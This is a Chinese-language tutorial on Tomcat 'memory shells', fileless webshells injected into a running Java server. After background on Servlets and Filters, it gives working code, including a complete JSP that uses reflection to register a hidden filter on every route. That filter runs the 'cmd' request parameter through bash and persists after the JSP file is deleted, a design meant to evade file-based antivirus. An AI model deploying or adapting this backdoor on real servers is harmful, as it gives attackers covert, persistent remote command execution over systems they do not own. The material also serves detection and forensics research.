深入淺出內(nèi)存馬(一)
0x01 簡(jiǎn)述
0x0101 Webshell技術(shù)歷程
在Web安全領(lǐng)域,Webshell一直是一個(gè)非常重要且熱門(mén)的話(huà)題。在目前傳統(tǒng)安全領(lǐng)域,Webshell根據(jù)功能的不同分為三種類(lèi)型,分別是:一句話(huà)木馬,小馬,大馬。而根據(jù)現(xiàn)在防火墻技術(shù)的更新迭代,隨后出現(xiàn)了加密的木馬技術(shù),比如:加密一句話(huà)。而我們今天要說(shuō)的是一種新的無(wú)文件的Webshell類(lèi)型:內(nèi)存馬。
0x0102 為什么會(huì)使用內(nèi)存馬?
傳統(tǒng)Webshell連接方式,都是先通過(guò)某種漏洞將惡意的腳本木馬文件上傳,然后通過(guò)中國(guó)菜刀,或者蟻劍,冰蝎等Webshell管理軟件進(jìn)行鏈接。

這種方式目前仍然流行,但是由于近幾年防火墻,IDS,IPS,流量分析等各種安全設(shè)備的普及和更新,這種連接方式非常容易被設(shè)備捕獲攔截,而且由于文件是明文存放在服務(wù)器端,所以又很容易被殺毒軟件所查殺。在今天看來(lái)這種傳統(tǒng)連接方式顯然已經(jīng)過(guò)時(shí),于是乎,進(jìn)化了一系列的加密一句話(huà)木馬,但是這種方式還是不能繞過(guò)有類(lèi)似文件監(jiān)控的殺毒軟件,于是乎進(jìn)化了新一代的Webshell---》內(nèi)存馬
0x03 什么是內(nèi)存馬
內(nèi)存馬是無(wú)文件Webshell,什么是無(wú)文件webshell呢?簡(jiǎn)單來(lái)說(shuō),就是服務(wù)器上不會(huì)存在需要鏈接的webshell腳本文件。那有的同學(xué)可能會(huì)問(wèn)了?這種方式為什么能鏈接呢??jī)?nèi)存馬的原理就像是MVC架構(gòu),即通過(guò)路由訪問(wèn)控制器,我通過(guò)自身的理解,概述的說(shuō)一下, 內(nèi)存馬的原理就是在web組件或者應(yīng)用程序中,注冊(cè)一層訪問(wèn)路由,訪問(wèn)者通過(guò)這層路由,來(lái)執(zhí)行我們控制器中的代碼
0x03 內(nèi)存馬的類(lèi)型
目前分為兩種:
Servlet-API型通過(guò)命令執(zhí)行等方式動(dòng)態(tài)注冊(cè)一個(gè)新的listener、filter或者servlet,從而實(shí)現(xiàn)命令執(zhí)行等功能。特定框架、容器的內(nèi)存馬原理與此類(lèi)似,如spring的controller內(nèi)存馬,tomcat的valve內(nèi)存馬
filter型 servlet型 字節(jié)碼增強(qiáng)型
通過(guò)java的instrumentation動(dòng)態(tài)修改已有代碼,進(jìn)而實(shí)現(xiàn)命令執(zhí)行等功能。
spring類(lèi)
攔截器 Controller型
0x02 內(nèi)存馬的原理
我們以Java Web舉例,在Java Web中有三大組件分別是Servlet, Filter,Listener
Servlet
Servlet 是運(yùn)行在 Web 服務(wù)器或應(yīng)用服務(wù)器上的程序,它是作為來(lái)自 HTTP 客戶(hù)端的請(qǐng)求和 HTTP 服務(wù)器上的數(shù)據(jù)庫(kù)或應(yīng)用程序之間的中間層。它負(fù)責(zé)處理用戶(hù)的請(qǐng)求,并根據(jù)請(qǐng)求生成相應(yīng)的返回信息提供給用戶(hù)。
Servlet程序是由WEB服務(wù)器調(diào)用,web服務(wù)器收到客戶(hù)端的Servlet訪問(wèn)請(qǐng)求后:
Web服務(wù)器首先檢查是否已經(jīng)裝載并創(chuàng)建了該Servlet的實(shí)例對(duì)象。如果是,則直接執(zhí)行第4步,否則,執(zhí)行第2步。 裝載并創(chuàng)建該Servlet的一個(gè)實(shí)例對(duì)象。 調(diào)用Servlet實(shí)例對(duì)象的init()方法。 創(chuàng)建一個(gè)用于封裝HTTP請(qǐng)求消息的HttpServletRequest對(duì)象和一個(gè)代表HTTP響應(yīng)消息的HttpServletResponse對(duì)象,然后調(diào)用Servlet的service()方法并將請(qǐng)求和響應(yīng)對(duì)象作為參數(shù)傳遞進(jìn)去。 WEB應(yīng)用程序被停止或重新啟動(dòng)之前,Servlet引擎將卸載Servlet,并在卸載之前調(diào)用Servlet的destroy()方法。
Filter
Filter譯為過(guò)濾器。過(guò)濾器實(shí)際上就是對(duì)web資源進(jìn)行攔截,做一些處理后再交給下一個(gè)過(guò)濾器或servlet處理,通常都是用來(lái)攔截request進(jìn)行處理的,也可以對(duì)返回的response進(jìn)行攔截處理。

web服務(wù)器根據(jù)Filter在web.xml文件中的注冊(cè)順序,決定先調(diào)用哪個(gè)Filter,當(dāng)?shù)谝粋€(gè)Filter的doFilter方法被調(diào)用時(shí),web服務(wù)器會(huì)創(chuàng)建一個(gè)代表Filter鏈的FilterChain對(duì)象傳遞給該方法。在doFilter方法中,開(kāi)發(fā)人員如果調(diào)用了FilterChain對(duì)象的doFilter方法,則web服務(wù)器會(huì)檢查FilterChain對(duì)象中是否還有filter,如果有,則調(diào)用第2個(gè)filter,如果沒(méi)有,則調(diào)用目標(biāo)資源。
生命周期
public void init(FilterConfig filterConfig) throws ServletException;//初始化
和我們編寫(xiě)的Servlet程序一樣,F(xiàn)ilter的創(chuàng)建和銷(xiāo)毀由WEB服務(wù)器負(fù)責(zé)。web 應(yīng)用程序啟動(dòng)時(shí),web 服務(wù)器將創(chuàng)建Filter 的實(shí)例對(duì)象,并調(diào)用其init方法,讀取web.xml配置,完成對(duì)象的初始化功能,從而為后續(xù)的用戶(hù)請(qǐng)求作好攔截的準(zhǔn)備工作(filter對(duì)象只會(huì)創(chuàng)建一次,init方法也只會(huì)執(zhí)行一次)。開(kāi)發(fā)人員通過(guò)init方法的參數(shù),可獲得代表當(dāng)前filter配置信息的FilterConfig對(duì)象。
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;//攔截請(qǐng)求
這個(gè)方法完成實(shí)際的過(guò)濾操作。當(dāng)客戶(hù)請(qǐng)求訪問(wèn)與過(guò)濾器關(guān)聯(lián)的URL的時(shí)候,Servlet過(guò)濾器將先執(zhí)行doFilter方法。FilterChain參數(shù)用于訪問(wèn)后續(xù)過(guò)濾器。
public void destroy();//銷(xiāo)毀
Filter對(duì)象創(chuàng)建后會(huì)駐留在內(nèi)存,當(dāng)web應(yīng)用移除或服務(wù)器停止時(shí)才銷(xiāo)毀。在Web容器卸載 Filter 對(duì)象之前被調(diào)用。該方法在Filter的生命周期中僅執(zhí)行一次。在這個(gè)方法中,可以釋放過(guò)濾器使用的資源。
Listener
監(jiān)聽(tīng)器用于監(jiān)聽(tīng)Web應(yīng)用中某些對(duì)象的創(chuàng)建、銷(xiāo)毀、增加,修改,刪除等動(dòng)作的發(fā)生,然后作出相應(yīng)的響應(yīng)處理。當(dāng)監(jiān)聽(tīng)范圍的對(duì)象的狀態(tài)發(fā)生變化的時(shí)候,服務(wù)器自動(dòng)調(diào)用監(jiān)聽(tīng)器對(duì)象中的方法。常用于統(tǒng)計(jì)網(wǎng)站在線人數(shù)、系統(tǒng)加載時(shí)進(jìn)行信息初始化、統(tǒng)計(jì)網(wǎng)站的訪問(wèn)量等等。
主要由三部分構(gòu)成:
事件源:被監(jiān)聽(tīng)的對(duì)象 監(jiān)聽(tīng)器:監(jiān)聽(tīng)的對(duì)象,事件源的變化會(huì)觸發(fā)監(jiān)聽(tīng)器的響應(yīng)行為 響應(yīng)行為:監(jiān)聽(tīng)器監(jiān)聽(tīng)到事件源的狀態(tài)變化時(shí)所執(zhí)行的動(dòng)作
在初始化時(shí),需要將事件源和監(jiān)聽(tīng)器進(jìn)行綁定,也就是注冊(cè)監(jiān)聽(tīng)器。
可以使用監(jiān)聽(tīng)器監(jiān)聽(tīng)客戶(hù)端的請(qǐng)求、服務(wù)端的操作等。通過(guò)監(jiān)聽(tīng)器,可以自動(dòng)出發(fā)一些動(dòng)作,比如監(jiān)聽(tīng)在線的用戶(hù)數(shù)量,統(tǒng)計(jì)網(wǎng)站訪問(wèn)量、網(wǎng)站訪問(wèn)監(jiān)控等。
Tomcat
在 Tomcat 中,每個(gè) Host 下可以有多個(gè) Context (Context 是 Host 的子容器), 每個(gè) Context 都代表一個(gè)具體的Web應(yīng)用,都有一個(gè)唯一的路徑就相當(dāng)于下圖中的 /shop /manager 這種,在一個(gè) Context 下可以有著多個(gè) Wrapper
Wrapper 主要負(fù)責(zé)管理 Servlet ,包括的 Servlet 的裝載、初始化、執(zhí)行以及資源回收

0x03 Tomcat Filter注入流程
通過(guò)上面的介紹,我們已經(jīng)大致了解內(nèi)存馬的背景知識(shí),現(xiàn)在我們來(lái)講解Tomcat Filter類(lèi)型的內(nèi)存馬,看看這種流程是什么樣子的?
0x0301Tomcat Filter簡(jiǎn)單案例
新建filter
package com.evalshell.Filter;
import javax.servlet.*;
import java.io.IOException;
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 創(chuàng)建");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("執(zhí)行過(guò)濾過(guò)程");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
System.out.println("銷(xiāo)毀!");
}
}
Web.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.evalshell.Servlet.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
<filter>
<filter-name>MyFilter</filter-name>
<filter-class>com.evalshell.Filter.MyFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>MyFilter</filter-name>
<url-pattern>/hello</url-pattern>
</filter-mapping>
</web-app>
就是我們創(chuàng)建一個(gè)servlet和一個(gè)filter 訪問(wèn)路由都是為/hello 。看下結(jié)果:
控制臺(tái)輸出

我們簡(jiǎn)單調(diào)試一下

對(duì)應(yīng)Web.xml中的配置信息,這種方式就是為靜態(tài)的添加filter的方式,filter實(shí)現(xiàn)分為靜態(tài)和動(dòng)態(tài),靜態(tài)就是上述中,普通配置在web.xml或者通過(guò)@注釋配置在類(lèi)中的。
關(guān)于整個(gè)Filter的調(diào)用鏈 可以參考:https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w, 這個(gè)不是我們主要講述的重點(diǎn)。
Filter調(diào)用鏈,可以引用寬字節(jié)安全總結(jié)的一張圖來(lái)說(shuō)明:

0x04 Filter型內(nèi)存馬注入
0x0401 動(dòng)態(tài)創(chuàng)建Filter
我們調(diào)試一下filterChain.doFilter() 方法,啟動(dòng)服務(wù),然后訪問(wèn)/hello即可調(diào)試:

繼續(xù)跟進(jìn),可以看到doFilter() 的具體處理過(guò)程是在internalDoFilter()


然后最后調(diào)用service()方法去調(diào)用這個(gè)filter里面的內(nèi)容


概述地說(shuō), FilterChain.doFilter() 方法將調(diào)用下一個(gè) Filter.doFilter() 方法;最后一個(gè) Filter.doFilter() 方法中調(diào)用的FilterChain.doFilter() 方法將調(diào)用目標(biāo) Servlet.service() 方法。
0x0402 一個(gè)簡(jiǎn)單Filter內(nèi)存馬案例
上面的描述總結(jié)下來(lái)就是如何在tomcat中動(dòng)態(tài)的注入一條配置項(xiàng)和代碼,拿filter類(lèi)型舉例子,那么我們?nèi)绾蝿?chuàng)建一個(gè)Filter類(lèi)型的內(nèi)存馬呢?
首先創(chuàng)建一個(gè)惡意Filter 利用 FilterDef 對(duì) Filter 進(jìn)行一個(gè)封裝 將 FilterDef 添加到 FilterDefs 和 FilterConfig 創(chuàng)建 FilterMap ,將我們的 Filter 和 urlpattern 相對(duì)應(yīng),存放到 filterMaps中(由于 Filter 生效會(huì)有一個(gè)先后順序,所以我們一般都是放在最前面,讓我們的 Filter 最先觸發(fā))
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 為 ServletContext 的實(shí)現(xiàn)類(lèi)
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 這樣我們就獲取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
每次請(qǐng)求createFilterChain都會(huì)依據(jù)此動(dòng)態(tài)生成一個(gè)過(guò)濾鏈,而StandardContext又會(huì)一直保留到Tomcat生命周期結(jié)束,所以我們的內(nèi)存馬就可以一直駐留下去,直到Tomcat重啟。
好的 那我們首先來(lái)編寫(xiě)一個(gè)filter的惡意類(lèi)
package com.evalshell.Filter;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 創(chuàng)建");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("執(zhí)行過(guò)濾過(guò)程");
//測(cè)試只考慮linux環(huán)境下
HttpServletRequest request = (HttpServletRequest) servletRequest;
if (request.getParameter("c") != null){
String[] command = new String[]{"sh", "-c", request.getParameter("c")};
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
System.out.println("銷(xiāo)毀!");
}
}
運(yùn)行效果:

可以看到這個(gè)就是在tomcat中沒(méi)有任何shell文件,但是在過(guò)濾器中執(zhí)行了我們的代碼。
0x0402 最終實(shí)戰(zhàn)
那么真實(shí)情況下,我們不可能直接修改項(xiàng)目中Filter的源碼,因?yàn)榫退阈薷牧耍胍б残枰貑ⅰK晕覀冃枰獎(jiǎng)討B(tài)的插入filter,那我們?cè)撊绾尾僮髂兀?/p>
最終代碼如下:
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "fengxuan";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//這里寫(xiě)上我們后門(mén)的主要代碼
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
//別忘記帶這個(gè),不然的話(huà)其他的過(guò)濾器可能無(wú)法使用
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 將filterDef添加到filterDefs中
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
//攔截的路由規(guī)則,/* 表示攔截任意路由
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("注入成功");
}
%>
訪問(wèn)這個(gè)頁(yè)面

最后直接訪問(wèn)任意Servlet路由都可以執(zhí)行命令

即使刪除我們的注入文件filterdemo1.jsp也是一樣可以執(zhí)行,這樣就可以達(dá)到無(wú)文件的Webshell管理方式了。
0x05 參考鏈接
http://wjlshare.com/archives/1529#0x01_Tomcat
https://www.freebuf.com/articles/web/274466.html
